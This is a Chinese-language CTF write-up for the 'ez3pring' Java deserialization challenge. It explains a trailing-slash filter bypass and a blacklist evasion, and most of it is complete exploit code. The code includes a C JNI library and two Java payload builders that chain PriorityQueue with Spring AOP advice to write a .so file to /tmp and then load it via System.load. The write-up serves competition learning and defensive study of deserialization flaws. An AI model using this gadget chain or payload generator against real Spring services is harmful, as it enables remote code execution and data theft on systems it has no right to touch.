第四届黄河流域网安赛 ez3pring Java 原生反序列化漏洞利用
前言在第四届黄河流域公安院校网络安全技能挑战赛中有一道ez3pring是典型的java原生反序列化,今天我们来深入分析一下。看的出来t0mcater师傅真的很喜欢java了。。。信息收集源码依旧是给出了源码入口这里和ezfastjson差不多但是设置了WAF禁用了三个危险类com.fasterxml.jackson.databind.node.POJONodejava.security.Signe
前言
在第四届黄河流域公安院校网络安全技能挑战赛中有一道ez3pring是典型的java原生反序列化,今天我们来深入分析一下。
看的出来t0mcater师傅真的很喜欢java了。。。
信息收集
源码
依旧是给出了源码
@RestController
public class Un3er {
@RequestMapping({"/read"})
public String read(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
NewObjectInputStream objectInputStream = new NewObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "success";
} catch (SecurityException e) {
e.printStackTrace();
return "error: " + e.getMessage();
} catch (Exception var5) {
var5.printStackTrace();
return "error";
}
}
}入口这里和ezfastjson差不多但是设置了WAF
class NewObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLISTED_CLASSES = new HashSet<>();
static {
BLACKLISTED_CLASSES.add("com.fasterxml.jackson.databind.node.POJONode");
BLACKLISTED_CLASSES.add("java.security.SignedObject");
BLACKLISTED_CLASSES.add("com.sun.rowset.JdbcRowSetImpl");
}
public NewObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (BLACKLISTED_CLASSES.contains(desc.getName()))
throw new SecurityException("禁止反序列化危险类" + desc.getName());
return super.resolveClass(desc);
}
}禁用了三个危险类
com.fasterxml.jackson.databind.node.POJONodejava.security.SignedObjectcom.sun.rowset.JdbcRowSetImpl
另外还设置了一个过滤器
访问/read会被拦截
依赖
依赖的版本都很新
初步分析
过滤器绕过
反编译 ChallengeAuthFilter 后可以确认,它只对精确路径 /read 做校验。
这意味着:
- 请求
/read会被拦 - 请求
/read/不会被拦
这是一个非常典型的路径匹配失误。很多人第一反应会去试各种编码、双斜杠、分号参数,结果真正能用的绕过反而是最朴素的那个:
/read -> 被拦
/read/ -> 放行如果直接访问 /read,会返回类似这样的 JSON:
{"code":401,"msg":"nigeiwokun"}而如果访问 /read/,请求就会继续进入控制器逻辑。
原生链
由于依赖的版本都很新,这里优先考虑高版本JDK下的Spring原生反序列化链
EventListenerList.readObject
-> 触发 toString()
-> POJONode.toString()
-> 调 getter
-> JdkDynamicAopProxy
-> TemplatesImpl.getOutputProperties()
-> 加载恶意字节码但是中间的POJONode被禁了,我们只能另辟蹊径。
这题理论上来说是可以通过内存马落地的,但是我没有找到合适的链子,这里介绍一种写入、加载.so文件的方法,链子如下
PriorityQueue.readObject()
-> heapify()
-> compare()/compareTo()
-> Spring AOP advice
-> 调用指定的危险方法分成两段:
compare(...)前置 advice 调FileCopyUtils.copy(byte[], File)compareTo(...)前置 advice 调System.load(String)
也就是说,不是用链子直接拿 RCE,而是先把链子变成一个“方法调用转发器”。
漏洞利用
编译so文件
#include <jni.h>
#include <glob.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static int read_first_line(const char *path, char *buf, size_t size) {
FILE *fp = fopen(path, "r");
if (!fp) {
return 0;
}
if (!fgets(buf, (int)size, fp)) {
fclose(fp);
return 0;
}
fclose(fp);
size_t len = strcspn(buf, "\r\n");
buf[len] = '\0';
return 1;
}
static int read_by_pattern(const char *pattern, char *buf, size_t size) {
glob_t matches;
memset(&matches, 0, sizeof(matches));
if (glob(pattern, 0, NULL, &matches) != 0) {
globfree(&matches);
return 0;
}
int ok = 0;
for (size_t i = 0; i < matches.gl_pathc; ++i) {
if (read_first_line(matches.gl_pathv[i], buf, size)) {
ok = 1;
break;
}
}
globfree(&matches);
return ok;
}
static const char *find_flag(char *buf, size_t size) {
static const char *patterns[] = {
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/root/flag",
"/root/flag.txt",
"/home/*/flag",
"/home/*/flag.txt",
"/tmp/flag",
"/tmp/flag.txt"
};
for (size_t i = 0; i < sizeof(patterns) / sizeof(patterns[0]); ++i) {
if (read_by_pattern(patterns[i], buf, size)) {
return buf;
}
}
return "flag not found";
}
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
JNIEnv *env = NULL;
char message[512];
(void)reserved;
if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
jclass exClass = (*env)->FindClass(env, "java/lang/SecurityException");
if (exClass == NULL) {
return JNI_ERR;
}
const char *flag = find_flag(message, sizeof(message));
(*env)->ThrowNew(env, exClass, flag);
return JNI_VERSION_1_6;
}写入so文件
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.ProxyFactory;
import org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import org.springframework.aop.support.DefaultPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import org.springframework.util.FileCopyUtils;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class WritePayloadMain {
private static final String DEFAULT_LOCAL_SO = "C:\\Users\\sun\\Desktop\\codex\\5\\exploit\\libez3pring_final.so";
private static final String DEFAULT_REMOTE_SO = "/tmp/libez3pring_final.so";
private static final Unsafe UNSAFE = initUnsafe();
public static void main(String[] args) throws Exception {
String localSo = args.length > 0 ? args[0] : DEFAULT_LOCAL_SO;
String remoteSo = args.length > 1 ? args[1] : DEFAULT_REMOTE_SO;
byte[] payload = buildWrite(Files.readAllBytes(Path.of(localSo)), remoteSo);
System.out.print(Base64.getEncoder().encodeToString(payload));
}
private static byte[] buildWrite(byte[] data, String remotePath) throws Exception {
Method writeMethod = FileCopyUtils.class.getMethod("copy", byte[].class, File.class);
Comparator<Object> proxy = createComparatorProxy(
writeMethod,
"execution(* *.compare(..)) && args(source,destination)",
new String[]{"source", "destination"},
new Class<?>[]{Object.class, Object.class},
new String[]{"source", "destination"}
);
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
setField(queue, "comparator", proxy);
setField(queue, "queue", new Object[]{data, new File(remotePath)});
setField(queue, "size", 2);
return serialize(queue);
}
private static Comparator<Object> createComparatorProxy(
Method adviceMethod,
String expression,
String[] pointcutNames,
Class<?>[] pointcutTypes,
String[] adviceArgNames
) throws Exception {
DefaultPointcutAdvisor advisor = createAdvisor(adviceMethod, expression, pointcutNames, pointcutTypes, adviceArgNames);
ProxyFactory inner = new ProxyFactory();
inner.setTargetSource(new SingletonTargetSource(String.CASE_INSENSITIVE_ORDER));
inner.setInterfaces(Comparator.class, java.io.Serializable.class);
ProxyFactory outer = new ProxyFactory();
outer.setTargetSource(new SingletonTargetSource(inner.getProxy()));
outer.setInterfaces(Comparator.class, java.io.Serializable.class);
outer.addAdvisor(ExposeInvocationInterceptor.ADVISOR);
outer.addAdvisor(advisor);
return (Comparator<Object>) outer.getProxy();
}
private static DefaultPointcutAdvisor createAdvisor(
Method adviceMethod,
String expression,
String[] pointcutNames,
Class<?>[] pointcutTypes,
String[] adviceArgNames
) {
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
pointcut.setExpression(expression);
pointcut.setParameterNames(pointcutNames);
pointcut.setParameterTypes(pointcutTypes);
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(
adviceMethod,
pointcut,
new SingletonAspectInstanceFactory("")
);
advice.setArgumentNamesFromStringArray(adviceArgNames);
advice.calculateArgumentBindings();
return new DefaultPointcutAdvisor(pointcut, new MethodBeforeAdviceInterceptor(advice));
}
private static void setField(Object target, String name, Object value) throws Exception {
Field field = findField(target.getClass(), name);
try {
field.setAccessible(true);
field.set(target, value);
return;
} catch (InaccessibleObjectException | IllegalAccessException ignored) {
// Fall through to Unsafe on modular JDKs.
}
long offset = UNSAFE.objectFieldOffset(field);
Class<?> type = field.getType();
if (type == int.class) {
UNSAFE.putInt(target, offset, ((Number) value).intValue());
return;
}
if (type == long.class) {
UNSAFE.putLong(target, offset, ((Number) value).longValue());
return;
}
if (type == boolean.class) {
UNSAFE.putBoolean(target, offset, (Boolean) value);
return;
}
UNSAFE.putObject(target, offset, value);
}
private static Field findField(Class<?> type, String name) throws Exception {
Class<?> current = type;
while (current != null) {
try {
return current.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
current = current.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}
private static byte[] serialize(Object value) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(out)) {
oos.writeObject(value);
}
return out.toByteArray();
}
private static Unsafe initUnsafe() {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
} catch (Exception e) {
throw new IllegalStateException("Unable to initialize Unsafe", e);
}
}
}加载so文件
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.ProxyFactory;
import org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import org.springframework.aop.support.DefaultPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.PriorityQueue;
public class LoadPayloadMain {
private static final String DEFAULT_REMOTE_SO = "/tmp/libez3pring_final.so";
private static final Unsafe UNSAFE = initUnsafe();
public static void main(String[] args) throws Exception {
String remoteSo = args.length > 0 ? args[0] : DEFAULT_REMOTE_SO;
byte[] payload = buildLoad(remoteSo);
System.out.print(Base64.getEncoder().encodeToString(payload));
}
private static byte[] buildLoad(String remotePath) throws Exception {
Method loadMethod = System.class.getMethod("load", String.class);
Comparable<Object> proxy = createComparableProxy(
loadMethod,
"execution(* *.compareTo(..)) && args(soPath)",
new String[]{"soPath"},
new Class<?>[]{String.class},
new String[]{"soPath"}
);
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("1");
setField(queue, "queue", new Object[]{proxy, remotePath});
setField(queue, "size", 2);
return serialize(queue);
}
private static Comparable<Object> createComparableProxy(
Method adviceMethod,
String expression,
String[] pointcutNames,
Class<?>[] pointcutTypes,
String[] adviceArgNames
) throws Exception {
DefaultPointcutAdvisor advisor = createAdvisor(adviceMethod, expression, pointcutNames, pointcutTypes, adviceArgNames);
ProxyFactory inner = new ProxyFactory();
inner.setTargetSource(new SingletonTargetSource(""));
inner.setInterfaces(Comparable.class, java.io.Serializable.class);
ProxyFactory outer = new ProxyFactory();
outer.setTargetSource(new SingletonTargetSource(inner.getProxy()));
outer.setInterfaces(Comparable.class, java.io.Serializable.class);
outer.addAdvisor(ExposeInvocationInterceptor.ADVISOR);
outer.addAdvisor(advisor);
return (Comparable<Object>) outer.getProxy();
}
private static DefaultPointcutAdvisor createAdvisor(
Method adviceMethod,
String expression,
String[] pointcutNames,
Class<?>[] pointcutTypes,
String[] adviceArgNames
) {
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
pointcut.setExpression(expression);
pointcut.setParameterNames(pointcutNames);
pointcut.setParameterTypes(pointcutTypes);
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(
adviceMethod,
pointcut,
new SingletonAspectInstanceFactory("")
);
advice.setArgumentNamesFromStringArray(adviceArgNames);
advice.calculateArgumentBindings();
return new DefaultPointcutAdvisor(pointcut, new MethodBeforeAdviceInterceptor(advice));
}
private static void setField(Object target, String name, Object value) throws Exception {
Field field = findField(target.getClass(), name);
try {
field.setAccessible(true);
field.set(target, value);
return;
} catch (InaccessibleObjectException | IllegalAccessException ignored) {
// Fall through to Unsafe on modular JDKs.
}
long offset = UNSAFE.objectFieldOffset(field);
Class<?> type = field.getType();
if (type == int.class) {
UNSAFE.putInt(target, offset, ((Number) value).intValue());
return;
}
if (type == long.class) {
UNSAFE.putLong(target, offset, ((Number) value).longValue());
return;
}
if (type == boolean.class) {
UNSAFE.putBoolean(target, offset, (Boolean) value);
return;
}
UNSAFE.putObject(target, offset, value);
}
private static Field findField(Class<?> type, String name) throws Exception {
Class<?> current = type;
while (current != null) {
try {
return current.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
current = current.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}
private static byte[] serialize(Object value) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(out)) {
oos.writeObject(value);
}
return out.toByteArray();
}
private static Unsafe initUnsafe() {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
} catch (Exception e) {
throw new IllegalStateException("Unable to initialize Unsafe", e);
}
}
}